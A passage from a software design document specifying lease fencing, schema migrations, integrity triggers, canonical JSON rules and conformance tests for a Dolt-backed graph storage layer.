and workspace-gate lease; client hosts wire `ErrNotAuthority` refusal. No embedded HTTP serving. | +| unit of work (**the serving leg**) | `internal/storage/domain/beadgraph.go`, `internal/storage/domain/db/beadgraph.go` (+ the version-control repository's new `MergeBase`/`ResetSoft`/`CheckoutTables`/`Revert`/`HashOfTables`), `internal/storage/uow/beadgraph_*.go` (`BeadGraphUseCase()`; `RunTxRead`; **`RunTxScopedResult(tables, msg)`** — new, since `doltServerTx.Commit` hardcodes `DOLT_COMMIT('-Am')`; `RunTxEphemeral` for renewal; `PublishGraphMutation` on the provider) | **same body** | + +Every protected body begins with `assertAuthorityInTx(ctx, tx, w, claim, +mutating)`: Scope row identity; ledger head present (exact prefix) and +`MAX(seq) >= w.LedgerSeq`; on hazard S the lease row — a protected read `SELECT`s it inside the +read transaction and checks holder key, epoch, **and `expires_at > +NOW(6)`** (a holder/epoch match alone proves only that no takeover was +visible in the snapshot); **reads never write the lease**: on the serving +leg the watcher renews and a read whose remaining interval is shorter than +its deadline fails closed as `lost`; a CLI read whose own lease has expired +regrants **once, ephemerally, before opening a fresh read transaction** +(a read transaction opened before the regrant keeps its expired snapshot — +probed) and retries; the read's context deadline is derived from the +remaining lease interval (the shared `route()` deadline of sixty seconds +exceeds the default TTL, so BDP rows carry their own per-row deadline below +a third of the TTL); a mutation reads the `fence` cell and a +mutation `UPDATE graph_authority_lease SET heartbeat_at = ?, expires_at = +NOW(6) + ttl, fence = WHERE id = 1 +AND holder_installation_key = ? AND epoch = ? AND fence = ` and requires **exactly one affected row** — which also **self-regrants +an expired lease that still names this workspace** (a server restart longer +than the TTL needs no promotion); a lease held by *another* holder is taken +**only with `--steal`** — its expiry alone never grants a takeover. **Dolt merges concurrent +transactions cell by cell** (probed on 2.1.8): a takeover that rewrites +`holder`/`epoch` while a mutation rewrites `heartbeat_at` lets *both* +commit; only a same-cell-different-value write is a `1213` serialization +failure. Every lease write — grant, steal, expiry reclaim, renewal, and the +per-mutation fence — therefore rewrites `fence` with a fresh random value, +so any two of them conflict (probed on Dolt 2.1.8 for the versioned path, +the ephemeral plain-`COMMIT` path, read-then-mutate, and disjoint-column +takeovers; the tree's `TestRowLockForcesConflictOnDisjointCellWrites` is the +same trick for `row_lock`). `withRetryTx`/`RunTxResult`/`RunTxEphemeral` +replay the loser, which **re-evaluates its preconditions** with a new random +fence: a still-authorized writer (two mutations, or a renewal and a +mutation) succeeds serially; a superseded, stolen, or expired-and-retaken +claim matches zero rows → refusal. On the scoped-commit path the `1213` +surfaces from `CALL DOLT_COMMIT` (the trailing `COMMIT` then succeeds with +nothing persisted), so `RunTxScopedResult` keeps that call inside the +retried closure. Bound, stated: a fenced transaction that spans a renewal loses +whenever the renewal commits first, so every fenced transaction **in the +shared-gate context** carries a deadline below a third of the TTL +(cancelled and retried past it; the replay budget allows more than one +attempt), in-process renewal is serialized against the process's own +mutations with jittered cadence, and `types install` is exclusive (the +server stopped; the sole writer sets `expires_at` itself and runs +unbounded). The `leases` precedent's +`INSERT … ON DUPLICATE KEY UPDATE … IF(...)` is a statement-time guard and +does not fence at commit; this design does not rely on it. The ledger +counter is the same shape: `UPDATE graph_ledger_seq SET next_seq = next_seq ++ 1, alloc_nonce = WHERE id = 0` — a bare `+ 1` from the same +value **converges** (both allocators commit, one increment lands; probed), +the random cell makes it a conflict, and the events PK is the second guard +(it too converges on byte-identical rows, which the nonce prevents); the **graph-state version** from the provider's `StateVersioner` +(Dolt: `DOLT_HASHOF_TABLE('')` for each of the eight +replicated graph tables in the fixed B4 order, the eight hashes hashed +together with sha256 — the function exists in 2.1.8 and takes exactly one +argument; `DOLT_HASHOF_DB()` is not used because every ephemeral write, +including this lease's own renewal, moves it) equal to +`w.StateVersion`, else `ErrStateChanged` **without validating in the held +transaction**; the accessor then validates under **one singleflight +coordinator per provider instance** (per-request `timedProvider` roles +share it) in its own transaction — ancestry `DOLT_MERGE_BASE(w.StateCommit, +HEAD)`; for the ledger-covered tables — descriptors, allocations, the +ledger — the delta must be explained by ledger events since the recorded +head, and bead and link bodies are checked by row provenance (ruling 13) — +advances the witness, and retries once. A refused delta is **undone** +when the recorded HEAD is an ancestor of HEAD: the eight tables are +reverted to their state at `w.StateCommit` in a new commit (the hazard-R +undo shape — table-scoped, later commits preserved) and the caller sees one +`ErrStateChanged`; otherwise the witness is marked `unverified` (ruling 14). The validation +also runs the **fence census** (Part D.7 = A): each replicated table carries +its three ruling-13 triggers; a missing one is repaired with the migration's +idempotent pair before the delta is judged. Descriptor caches are keyed by the descriptors table's hash. +Providers without `StateVersioner` fail closed. Exempt from the head check, +with their own preconditions: `Mint`, `Promote`, `Rotate`, `LedgerApply`, +`IdentityReader`, the witness-file operations. + +### B4. Schema (migrations; frozen once merged) + +Rules the tree enforces: migrations are **frozen once merged** — hygiene +check C forbids editing a shipped file (a git-diff check), and the runtime +`content_skew.go` compares `schema_migrations.content_hash` across clones; +**no `NOW()`/`UUID()`/`RAND()`** in migration SQL (check B) — timestamps and +ids come from Go; real-Dolt tests for anything a `sqlmock` echo cannot +exercise; DDL is not transactional across statements, so each `CREATE` is +guarded and resumable. **Initial P1 scope: eight replicated tables in five files**, with unresolved +`NNNN` migration slots: slot +0067 is occupied by the merged versioned-beads Phase 1 migration (`issue_versions`, +the `store_epoch` singleton, `issues.current_revision`); slot 0068 is reserved +by its still-open Phase 2 (`0068_add_attribution_status`, +`issue_versions.attribution_status` and byte-preserving `durable_state` LONGBLOB +storage; the `version_id` and participation +steps remain deferred at the §0a pin), +and the historical graph claim is on the still-open #6149 branch, not on +main (row added 2026-09-07 at c53ef8810 as "0069 and later"). Its current +rows propose Phase 3 at 0069–0070 and graph at 0071 if Donna agrees, while +the graph row still says 0069+ (exact source in plan §0a). The overlap is +unresolved and this document selects no slot; P1 must recheck after its ADR +and owner coordination — +`NNNN_beadgraph_scope.up.sql` (scope, history), `NNNN_beadgraph_types.up.sql`, +`NNNN_beadgraph_beads.up.sql`, `NNNN_beadgraph_links.up.sql`, +`NNNN_beadgraph_ledger.up.sql` (events, counter, allocations) — plus the +lease's three parts: its name in `doltIgnorePatterns`, a main-series +`NNNN_beadgraph_authority_lease.up.sql` that creates it for existing +workspaces (the 0055 `__temp__` + conditional `RENAME` shape), and +`ignored/NNNN_beadgraph_authority_lease.up.sql` for fresh clones (check D); +the lease joins `ignoredSource.sentinelTables`. It is reached exactly as +`issueops/lease.go` reaches `leases`: on the default branch's working set +(branch-qualified sessions do not see it — which is why publication stays +on the default branch, Part D.5). + +**The row-level fence (ruling 13).** Each of the five table files also +carries, for every replicated table it creates, three triggers — +`
_bi`, `
_bu`, `
_bd` (`BEFORE INSERT/UPDATE/DELETE … +FOR EACH ROW`), body `BEGIN IF @bd_graph_role IS NULL THEN SIGNAL SQLSTATE +'45000' SET MESSAGE_TEXT = '
: out-of-role write refused'; END IF; +END` — twenty-four in all, each a `DROP TRIGGER IF EXISTS` + `CREATE +TRIGGER` pair (Dolt 2.1.8 has no `CREATE TRIGGER IF NOT EXISTS`; the pair +is resumable), no `NOW()`/`RAND()`. The lease table carries none +(dolt-ignored, fenced by its own law). Probed on Dolt 2.1.8: the body +parses only in `BEGIN … END` form; it fires with errno 1644; a session +variable gates it; the triggers replicate through the versioned +`dolt_schemas` table by push, clone, and pull; they are silent on +`DOLT_MERGE` and `DOLT_PULL` (ruling 14's territory); and one +multi-statement `Exec` of such a file over the tree's +`multiStatements=true` DSN (`doltutil/dsn.go`) creates them — the files +ship through `execMigrationBody` unchanged (the `dolt sql` CLI splits on the body's +inner `;`, so the `AllMigrationsSQL()` bundle the CLI-parity test loads with +`dolt sql -f` needs a `DELIMITER`-wrapped `cliCompatibleMigrationSQL` +rendition — which the protocol path in turn refuses — and the parity +oracle, which excludes `dolt_` tables, gains a trigger count). Three **P0 +verification rows** gate the fence — a failure ships v0 with the +validator alone and ruling 13 records it: **answered 2026-09-07** +(`engdocs/BDP_P0_VERIFICATION_ROWS.md`, spikes on the P0 branch): (i) +**PASS** — `embeddeddolt.OpenSQL` with one pinned connection and one +`ExecContext` of the migration text creates the triggers, they fire, the +variable gates them, and `dolt_schemas` stages and commits; the +skip-by-rule branch is not needed; (ii) **PASS-WITH-RULE** — B3's clear on +`WithoutCancel` and poison on failure; (iii) **PASS-WITH-RULE** — hygiene +checks A–E pass on a trigger-carrying file and the real runner commits +`dolt_schemas` with the table and cursor; three P1 rules follow: the +CLI-bundle rendition above; check D's clone-local list and +`doltIgnorePatterns` must learn `graph_authority_lease` before the B4 twin +is enforced; `migrationSQLTouchesTable` cannot see trigger DDL, so a +pre-existing dirty `dolt_schemas` is refused by the post-pass signature +check rather than up front. **Ruled (Part D.7 = A, 2026-09-08):** +`dolt_schemas` is outside the eight hashed and inspected tables, so an +out-of-band `DROP TRIGGER` replicates silently and `content_skew.go` +cannot see it (equal hashes) — proposed: the validator and ruling 14's +inspection set gain a **fence census** over `dolt_schemas` (trigger +presence per graph table). +Clones receive the triggers with the schema and refuse raw DML too — +harmless: clones are not authorities, and their in-role paths set the +variable. `bd sql` gains no flag; the deliberate override is a +proxied-mode batch whose first statement sets the variable, or a raw +client session. + +**Collation.** Dolt's default collation is already binary +(`utf8mb4_0900_bin` — probed), and no migration in the tree declares one. +Every identifier column below still carries **`CHARACTER SET utf8mb4 +COLLATE utf8mb4_bin`** (written `BIN`) as the defense for providers whose +default is case-insensitive, with a contract case. + +**Two epochs, two spellings (recorded 2026-09-07).** Every `epoch` in the +graph tables — `graph_scope.epoch`, the lease's `epoch`, `last_epoch`, +`birth_epoch` — is the **authority epoch** of ruling 9/A5, rotated by +promote, rotate, and restore-without-continuity. It is not the History +lane's `store_epoch` (versioned beads, migration 0067: bumped only by +restore, destructive reinit, or a token-scheme change, and voiding only +addresses of versions no longer served). To keep SQL unambiguous, P1 spells +the graph columns `authority_epoch`, `last_authority_epoch`, and +`birth_authority_epoch`; the docs keep the short names as the concept's name. + +**Identity is Scope-relative.** Rows store the canonical Scope-relative +`path`; the absolute URL is `scope_url + path`, computed at the boundary, +so a URL rotation rewrites no rows. + +**JSON is bytes.** `properties` and `descriptor` are canonical JSON bytes in +`LONGBLOB`, never the engine `JSON` type (the tree measured `1.0`→`1`, +integers past 2^53 rounded, `1e300` expanded in `internal/storage/issueops/metadata_cas.go` and the public +`issueops/metadatacas.go`; `-0.0`→`0` per the role guide). The canonical +form (P0 decision 3, recorded 2026-09-07) is RFC 8785 serialization applied +to each number literal's **exact decimal value**, never its nearest binary64: +`1.0`→`1`, `-0.0`→`0`, `1e300`→`1e+300`, and integers past 2^53 survive +intact; the exponent bound applies to the normalized value so that +canonicalization is a fixed point. Every string entering a canonicalized or +hashed value must be **valid UTF-8** (P0 council: invalid bytes collapse to +U+FFFD in JSON, so distinct values would hash identically). The frozen +ledger hash layout is `graphops`' golden: JCS of the event's members with +absent members omitted, `at` as RFC 3339 UTC with six fractional digits, +sha256 hex, genesis = 64 zeros. The value limit is a P1 number (Part D.1). +Admission law (bdp#21, ruled 2026-09-08): a number literal whose exact +decimal value does not round-trip through IEEE-754 binary64 (nearest double, +serialized shortest, equal to the literal's value) is refused at admission +with the offending JSON pointer, so on every stored `properties`/`descriptor` +value the exact-decimal form and a JCS peer's binary64 serialization agree +byte-for-byte; the ledger framing is exempt (its `seq`/`epoch` are Go integers +hashed exactly over the full uint64 range) and its frozen layout is unchanged +(P0 commit 944b1fc9f). Descriptor canonical form sorts `conformsTo` (and endpoint +`conformsTo`) by code unit — they are sets — so reordered parents fingerprint +identically. Canonicalization is the only thing the store does to the +content of `properties`: a URI or pinned reference inside it is neither +validated, resolved, canonicalized as a URL, nor traversed, and it is not an +edge — `graph_links` holds every edge there is, and a reference that needs +graph semantics is a Link, owned under an explicit entry or the wildcard +(bdp#1 item 5 as amended, ruled 2026-09-08). + +**Provenance on every mutable row.** `last_authority_id` / `last_epoch` are +stamped by every mutation on descriptors, beads, links, and allocations. + +**The graph-state version** is `DOLT_HASHOF_TABLE('')` for each of +the eight replicated tables below, in this order, the eight hashes hashed +together with sha256; the lease is ephemeral and excluded. The descriptors +table's hash within it keys the descriptor cache. + +| Table | Columns (type; nullability) | Keys / constraints | +| --- | --- | --- | +| `graph_scope` | `id TINYINT NOT NULL` (always 1), `scope_url VARCHAR(2048) BIN NOT NULL`, `authority_id CHAR(32) NOT NULL`, `epoch BIGINT UNSIGNED NOT NULL`, `minted_at DATETIME(6) NOT NULL` | `PRIMARY KEY (id)`, `CHECK (id = 1)` — singleton. **Distinct from History's `store_epoch`** (migration 0067), which fences restore and replacement on the issue plane; this epoch fences promotion on the graph plane; a restore reasons about both | +| `graph_scope_history` | `scope_url VARCHAR(2048) BIN NOT NULL`, `refused_seq BIGINT UNSIGNED NOT NULL`, `refused_at DATETIME(6) NOT NULL`, `reason VARCHAR(64) NOT NULL` | `PRIMARY KEY (scope_url)`; derived from `refuse_url` events | +| `graph_type_descriptors` | `url VARCHAR(2048) BIN NOT NULL`, `descriptor LONGBLOB NOT NULL`, `fingerprint CHAR(64) NOT NULL`, `installed_seq BIGINT UNSIGNED NOT NULL`, `installed_at DATETIME(6) NOT NULL`, `last_authority_id CHAR(32) NOT NULL`, `last_epoch BIGINT UNSIGNED NOT NULL` | `PRIMARY KEY (url)`; `UNIQUE (fingerprint)` | +| `graph_beads` | `path VARCHAR(1024) BIN NOT NULL`, `type_url VARCHAR(2048) BIN NOT NULL`, `revision CHAR(32) NOT NULL`, `attribution_principal VARCHAR(512) NULL`, `attribution_status ENUM('claimed','unknown') NULL`, `properties LONGBLOB NOT NULL`, `last_authority_id CHAR(32) NOT NULL`, `last_epoch BIGINT UNSIGNED NOT NULL`, `created_at DATETIME(6) NOT NULL`, `updated_at DATETIME(6) NOT NULL` | `PRIMARY KEY (path)`; `INDEX (type_url, path)`; `FOREIGN KEY (type_url) REFERENCES graph_type_descriptors(url)`; attribution columns both NULL or both set | +| `graph_links` | `path VARCHAR(1024) BIN NOT NULL`, `type_url … BIN NOT NULL`, `revision CHAR(32) NOT NULL`, `source_kind ENUM('in','ext') NOT NULL`, `source_path VARCHAR(1024) BIN NULL`, `source_url VARCHAR(2048) BIN NULL`, `source_pin VARCHAR(512) BIN NULL`, `target_kind ENUM('in','ext') NOT NULL`, `target_path VARCHAR(1024) BIN NULL`, `target_url VARCHAR(2048) BIN NULL`, `target_pin VARCHAR(512) BIN NULL` (endpoints symmetric and pins variable-width — **changed 2026-09-07, P0 council:** the pinned fixtures carry external-source Links such as `urn:external:pin-witness → beads/demo-f`, and a pin is an opaque string echoed byte-identically, so `CHAR(32)` cannot hold it), `attribution_*`, `properties LONGBLOB NOT NULL`, `last_authority_id`, `last_epoch`, timestamps | `PRIMARY KEY (path)`; `INDEX (source_path, type_url, path)`, `INDEX (target_path, type_url, path)` (a typed incoming read is a keyed scan — accepted from sjarmak's review); `FOREIGN KEY (source_path) REFERENCES graph_beads(path)` (a NULL `source_path` — external source — skips the check); `CHECK` exactly one of `source_path`/`source_url` per `source_kind` and exactly one of `target_path`/`target_url` per `target_kind`, and at least one endpoint `in` (the pinned spec's endpoint law); **no** uniqueness on (type, source, target) | +| `graph_ledger_seq` | `id TINYINT NOT NULL` (always 0), `next_seq BIGINT UNSIGNED NOT NULL` (`next` is reserved in Dolt's parser), `alloc_nonce CHAR(32) NOT NULL` | `PRIMARY KEY (id)` — **the single-row sequence counter**: `UPDATE … SET next_seq = next_seq + 1, alloc_nonce = WHERE id = 0` inside the mutation's transaction; the random cell is what makes two allocators a `1213` conflict (a bare increment converges under Dolt's cell-wise merge — probed); a rolled-back transaction burns no seq; seeded by `Mint`; set by `LedgerApply` | +| `graph_ledger_events` | `seq BIGINT UNSIGNED NOT NULL`, `op_id CHAR(32) NOT NULL` (indexed; covered by the hash), `kind ENUM('mint','install','update','promote','rotate','allocate','tombstone','refuse_url') NOT NULL`, `path VARCHAR(1024) BIN NULL`, `scope_url VARCHAR(2048) BIN NULL`, `resource_kind ENUM('bead','link') NULL`, `revision CHAR(32) NULL`, `state ENUM('pruned','erased') NULL`, `fingerprint CHAR(64) NULL`, `authority_id CHAR(32) NOT NULL`, `epoch BIGINT UNSIGNED NOT NULL`, `at DATETIME(6) NOT NULL`, `prev_hash CHAR(64) NOT NULL`, `hash CHAR(64) NOT NULL` | `PRIMARY KEY (seq)` — **append-only, hash-chained**; `UNIQUE (hash)`; `INDEX (path, seq)`; `INDEX (op_id)` (non-unique: one operation may append several events); `CHECK` per kind. Every mutation is an event | +| `graph_allocations` | `path VARCHAR(1024) BIN NOT NULL`, `resource_kind ENUM('bead','link') NOT NULL`, `birth_seq BIGINT UNSIGNED NOT NULL`, `birth_authority_id CHAR(32) NOT NULL`, `birth_epoch BIGINT UNSIGNED NOT NULL`, `state ENUM('live','reserved','pruned','erased') NOT NULL`, `tombstone_seq BIGINT UNSIGNED NULL`, `last_authority_id CHAR(32) NOT NULL`, `last_epoch BIGINT UNSIGNED NOT NULL` | `PRIMARY KEY (path)` — the O(1)/O(log n) ID test (ruling 3); **derived state**; `reserved` = ledger-applied with no row (A4) | +| `graph_authority_lease` (**dolt-ignored**, never replicates) | `id TINYINT NOT NULL`, `scope_url VARCHAR(2048) BIN NOT NULL`, `authority_id CHAR(32) NOT NULL` (bound to the Scope row), `holder_installation_key CHAR(64) NOT NULL` (the workspace), `renewer CHAR(32) NOT NULL` (informational: the process that last renewed), `epoch BIGINT UNSIGNED NOT NULL`, `granted_at DATETIME(6) NOT NULL`, `expires_at DATETIME(6) NOT NULL`, `heartbeat_at DATETIME(6) NOT NULL`, **`fence CHAR(32) NOT NULL`** | `PRIMARY KEY (id)`, `CHECK (id = 1)`; the hazard-S fence (A7): **every write rewrites `fence`** with a fresh random value and predicates on the value it read — the one cell all lease writers collide on; renewals through the ephemeral commit form | + +`updated_at` is protocol-irrelevant bookkeeping. Bead `type_url` and Link +`source_path`/`target_*` are immutable after insert. + +**The witness file: `.beads/graph-authority.local.json`.** +`{installation_key, scope_url, authority_id, epoch, ledger_seq, +ledger_hash, state_version, state_commit, unverified, granted_at, +pending?}`. Written only by the manager (B3). What each operation does to +it: `git clone` / `dolt clone` — absent; pull — untouched; `bd backup +restore` / `DOLT_BACKUP` restore to an **older** state — present, and the +ledger head it names is no longer in the store → `ErrStateRewound` (a +restore to the matching head is not a rewind; `bd backup restore`'s +`MarkUnverified` is the belt for that case and is tested separately); directory copy to another path +— installation key mismatch → `ErrNotAuthority`; a copy to the same path on +another machine — a different installation id → `ErrNotAuthority`; a +**whole-installation copy** (id and path both preserved) — the A5 +residual, undetectable without an arbiter. + +**Cross-repo coupling (bts).** `DoltTeamServer` workspaces refuse to open +when `current < latest` with **no `BD_IGNORE_SCHEMA_SKEW` hatch** — a +**numeric-version** comparison only. The coupling is a cross-repository +**release-parity gate**: bts must ship byte-identical copies of the six +main-series files and the ignored-series twin (the +`schema_migrations.content_hash` values `migration_content_hashes.go` +reads are what a bts-side parity test compares). The migration PR is +sequenced with bts; the remote-migrate gate (#4259) forces +migrate-vs-adopt on every remote-backed workspace at upgrade. + +**P1 must ship what P0 settled (recorded 2026-09-07).** `source_path` is +nullable with the `CHECK` that at least one endpoint is `in` (the symmetric +columns above); the ledger counter's exhaustion rule; the descriptor canonical +form and UTF-8 rule stated under "JSON is bytes"; `migrationSQLTouchesTable` +learns `CREATE TRIGGER … ON
` and `DROP TRIGGER [IF EXISTS] ` +separately (a DROP names no table; metadata lookup); the Dolt lane runs the +ruling-13 spikes (they gate on `testutil.RequireDoltBinary` alone). The +installer's `Max` law covers the wildcard declaration (bdp#1, 2026-09-08): +an owning declaration — explicit or `"*"` — without `max` is refused; the +wildcard's `max` bounds the Bead's **whole owned set** — every owned Link +across every owned type, explicit entries included — and an explicit entry's +`max` MUST NOT exceed the wildcard's (refused at descriptor validation); +ruled OW1 = A on 2026-09-08, the literal reading (P0's narrower first reading +is being flipped). The P1 batched owned-Links read for a wildcard owner +selects all owned Links grouped by type under `LIMIT wildcard.max + 1`, +inside the ≤ 7-statement budget row; that single statement covers only the +whole-set bound, so an explicit group over its own `max` is caught after +grouping in the body or refused at acceptance — `graphops.CheckBeadRecord` +enforces both bounds at acceptance (P0 commit ec692e146). + +### B5. Decorators, censuses, and every embedding surface + +- `internal/storage/hook_beadgraph_*.go` (six files): declared, recurse + **unwrapped**; `storage.RoleFiresHooks` is a type switch over hook + wrappers, so an unwrapped role needs no entry; a test asserts each graph + role answers `false`. Added to `role_accessor_decorator_test.go`'s table. +- `internal/telemetry/beadgraph_*.go`: every method spanned; the + **telemetry census** gains the classification. +- **Three censuses**, each must learn `graphops`: the storage reflection + census, the telemetry census, and the conformance package's + **source-parsed** `facadePackages` map (`role_coverage_scan_test.go`) — + without the third, `TestRoleFacadeCensusAgreesWithReflection` + (`role_coverage_gate_test.go`) fails. +- `internal/storage/uow/notifying.go` (explicit accessors, parity test); + `internal/httpapi/claim.go`'s `timedProvider` (which builds roles over the wrapper today and gains a `beadsDir` getter); + `cmd/bd/serve.go`'s `serveRoleSource` and its stubs; + every surface that embeds the store or a provider, enumerated by + `grep -l 'func (.*) Memories()'` at implementation. Because a required + method is promoted silently through every interface-embedding wrapper, + the censuses are what catch an undeclared one; the compiler catches direct + implementers — `internal/jira/tracker_test.go`'s `configStore` is one (a + flat implementer, not an embedder) and fails to compile until it gains the + stubs. + +### B6. `backend/` public surface and depguard + +- **No aliases** (amendment A4): `graphops` is public and imported + directly, like `issueops`. `TestPublicSurfaceComplete` stays green + *because* no `internal/` type is reachable from the new accessors — a + test asserts that. +- `backend/backend.go`'s doc-comment sketch of a minimal external backend + gains the six accessors as `ErrUnsupported` stubs (option A; there is no + example package under `backend/` — the stub contract is + `conformance.RunUnsupportedContract`). The **CHANGELOG entry** follows the + joint `ReadyClaimer`/`BatchCloser` entry's wording ("must add both methods + to compile"). +- `.golangci.yml` gains a **new, stricter** rule (cmd/bd imports the + `issueops` tx-body package directly today, so this is not the existing + convention): `internal/storage/graphops` is importable only by + `internal/storage/{dolt,embeddeddolt,domain/db,uow,graphcap}` and its own + tests. A + mutation test **deletes the deny entry and asserts that a fixture + violating it then passes lint** — which proves the entry is what fails + the violation. + +### B7. Conformance + +- Families: `beadgraph_reader_contract.go`, `beadgraph_types_contract.go` + (reader + installer), `beadgraph_identity_contract.go` (reader, + bootstrapper, admin), each citing the leaf doc by line. +- `RoleContractBundle` gains six factory fields **and** their rows in + `role_bundle_cases.go`; `BeadGraphFixture` carries the seed hook, a + `Witness` hook (a temp workspace directory and installation id standing + in for `.beads/` and the user config dir), and a `Remote` hook (a temp + Dolt remote for hazard-R cases *[deferred under A9]*). +- Wirings on all three legs (under A9 as amended by A10 the embedded leg wires the full + read contract for the solo topology and the refusal contract for client hosts); the leg registry + (`internal/storage/contract_leg_registry_test.go`) and + `TestEveryLegWiresEveryRoleContract` see them; both coverage gates apply. +- Non-capable stores answer `*storage.ErrUnsupported{Op: ""}` — the six strings pinned — proven per accessor. +- Cases the councils asked for by name: a clone produced by push/pull + refuses; a **`DOLT_BACKUP` restore of an authority** refuses + (`ErrStateRewound`); a **copied witness** in another directory refuses; + an **expired claim held by another holder** cannot mutate and is not taken over by expiry alone; an expired claim naming this workspace self-regrants; a **stale fence value** cannot mutate; a protected read on an expired, un-regranted lease refuses; + a **lease takeover between a mutation's SELECT and its commit** refuses + **even when the takeover rewrites disjoint columns** (the fence cell); + two allocators with **byte-identical event payloads** conflict on the + counter's nonce; + two clones minting before either pulls (hazard R: the second push is a + race and is undone); concurrent mint on one database (one wins); a + promotion race (one CAS wins; the loser's push races, is undone by soft + reset + checkout, unrelated dirty tables untouched); a **graph delta + under an unchanged `(authority_id, epoch)`** fails closed on a race; + **issue-plane-only divergence** keeps the commit and answers + `ErrSyncRequired`; a **network failure on push** keeps the commit as + unpublished and retries; **undo when HEAD moved** reverts and preserves + later commits; **each transition phase** recovers on the next load + (resume and undo, both outcomes); an `Install` is published on hazard R; + a hazard-R CLI read with a stale observation fetches and fails closed + past the grace; heartbeat detects a changed `(authority_id, epoch)`; + rotation refuses the old URL and updates `config.yaml`; `bd config set + bdp.scope_url` is refused with a witness present, and via + `set-many`/`unset`; `bd --graph-mode link serve`'s staged startup releases the + exclusive gates before serving; a registered backend serves no rows; the + watcher disables rows atomically and joins before shutdown; a heartbeat + does **not** change the graph-state version; case-differing paths + distinct and code-unit ordered; ownedLinks completeness incl. **empty + groups** — empty groups only for explicit declarations, wildcard-owned + groups only when a Link is present, none keyed `"*"` — and the bound under + `LIMIT remaining+1`; keyset continuation + inside one transaction; gone-family incl. `reserved`; a promote in + another process is honored by the next read; descriptor read on a + non-authority clone refuses; `bd init` re-run on any clone succeeds and + installs nothing; `Mint` installs the built-in catalog with `install` + events; ledger snapshot/apply round trip, gap refusal, foreign-lineage + refusal, recovery-predicate regrant, counter set; the installer refuses + an owning declaration without `Max`; statement budgets per method; + `ErrStateChanged` triggers one validation under concurrent reads and the + reads retry once. +- **Ruling 13 rows:** a raw `INSERT`, `UPDATE`, and `DELETE` on each of + the eight replicated tables without the variable is refused (errno + 1644, the table named); the same statement with `@bd_graph_role = 1` + in the session succeeds; a three-way `DOLT_MERGE` and a `DOLT_PULL` + carrying graph rows land without the variable (the validator, not the + trigger, decides them); a mutation followed by a raw statement on the + same one-connection pool is refused (no leak); a body that omits the + variable cannot write; a clone carries the triggers; the validator + refuses a descriptors/allocations/ledger delta unexplained by ledger + events and marks the witness `unverified`. +- **Ruling 14 rows (per route):** an SQL pull whose fetched delta touches + a graph table with foreign provenance or ledger events of a foreign + lineage is refused before merging, naming the table, and HEAD does not + move; the same delta arriving by the CLI-subprocess route lands, and the + next in-role transaction reverts the eight tables to the recorded HEAD + in a new commit with later issue-plane commits preserved; `--strategy + theirs` on a pull with a graph-table conflict leaves the graph table + untouched and the pull failed; a clone without a witness takes the + remote's graph state wholesale; a federation peer pull carries graph + tables unfiltered and is refused on a foreign delta like any pull; the + remote-migrate gate's fast-forward onto a remote that carries graph rows + succeeds and the workspace refuses to mint (A9); a mirror round-trip + produces no graph delta and no refusal; `bd dolt pull` with no graph + delta is byte-identical. +- **Fence census (Part D.7):** a clone that received a foreign `DROP TRIGGER` + through replication is repaired at its next validation, and the census never + changes the graph-state version. +- **Solo topology (A10):** an embedded workspace with no remote and no server + mints, holds a gate-satisfied lease, answers every link-mode read locally, + serves nothing, and becomes a client host when a remote or shared database + appears. +- **Properties are opaque (bdp#1 item 5 as amended, 2026-09-08):** a URI or + pinned reference inside `properties` is data, never an edge; the store + validates nothing inside `properties`, and `graph_links` holds every edge + there is. +- **Rotation is never a remount:** a server started under a base URL that + differs from the persisted Scope URL refuses, and no stored intra-Scope + reference changes when the Scope URL rotates (paths are Scope-relative). +- Differential-gate rows: every legacy verb without `--graph-mode` is + byte-identical, including `bd link`, `bd graph`, `bd graph check`, + `bd restore`, `bd promote`; + `bd init` gate output on a non-capable backend is byte-identical; + `bd serve` without a Scope URL is byte-identical. + +### B8. `httpapi` integration and the pinned wire (amendments A2, A7) + +- **`httpapi.Config.Graph *GraphConfig`** — `{Reader graphops.Reader; Types + graphops.DescriptorReader; ScopeURL string; Fence FenceSource}` on the + store arm; on the provider arm `Reader`/`Types` are nil and the provider's + own accessors answer per request through `timedProvider`. `Fence` carries + the `held → renewing → lost` state machine of A3.6 and its shutdown join. + No admin or installer field (a test asserts it); `checkDatabaseSource`'s + exactly-one-source rule extends to the graph fields. Registered backends + and embedded workspaces never reach `Graph != nil` in v0. +- **`bdpRouteTable`** (`internal/httpapi/bdp_routes.go`) — **P2**: rows in + the same `route` shape, registered by `Server.handler()` **only when + `cfg.Graph != nil`** — `handler()` reads no `Config` today, so this is a + first, and `TestSpecRouteParity`'s `(&Server{}).handler()` keeps excluding + the rows — each wrapped by the same `s.route(rt)`. First rows: discovery, + `types/`, one Bead, one Link; **collection rows wait for the cursor ADR**. + No capability token in v0; a sibling parity test compares `bdpRouteTable` + against the pinned schema's path grammar. +- **Posture parity test:** one refusal matrix drives a legacy row and a BDP + row and asserts identical status and log shape. +- **Handler = serializer**; typed graph errors → BDP Problem records + (`bdp_problem.go`), here and only here. +- **Wire — P0 (vendored 2026-09-07 on the P0 branch):** + `internal/httpapi/bdpwire/schema/bdp-v0.schema.json` is vendored verbatim + with a `PROVENANCE` file (upstream repo, the plan's §0 commit, and per + file the sha256 and git blob sha1) covering the bundle, the + reference-domain and Read fixtures, the Read catalog and matrix, and the + spec's JSON example fences; a test recomputes every digest and fails on + drift. **Generator decision (Part D.3):** hand-written DTOs held to the + bundle by parity, round-trip, and matrix tests — the recorded fallback; + both generator routes were run on the pinned bundle and rejected + (`oapi-codegen` cannot consume the bundle by external `$ref` and + `openapi.v0.yaml` is frozen; `go-jsonschema` collapses the reference sum, + the consts, and nullable `next` to `interface{}`), see + `internal/httpapi/bdpwire/GENERATOR.md`. There is no `make bdp-gen`; + `bdp-check` is the package's tests, which already run inside + `make api-check`'s `go test ./internal/httpapi/...` step, so + `scripts/ci/pr-policy.sh` gains no target. Decoding posture (council 11 fold): + `bdpwire.Unmarshal`/`Decode` read member by member — exact case-sensitive + names, required ⇔ no `omitempty` (welded to the bundle by the parity test), + null refused except a collection's nullable `next`, each member held to its + JSON type, integers decoded exactly from any RFC 8259 spelling within the + documented Go `int` (64-bit) range; `ReadDiscovery.Validate()` enforces the + two consts. + +## Part C — What does not change + +`storage.Storage`'s existing 28 accessors and every `issueops` role; the +journal's frozen vocabulary; `openapi.v0.yaml` and `TestSpecRouteParity`; +`bd serve` on a workspace with **no** `bdp.scope_url` (byte-identical) and +on any workspace that does not hold the authority (legacy surface up, rows +absent); every legacy CLI verb (differential gate rows); JSONL export +shapes; `metadata.json`'s schema; `bd init` gate output on non-capable 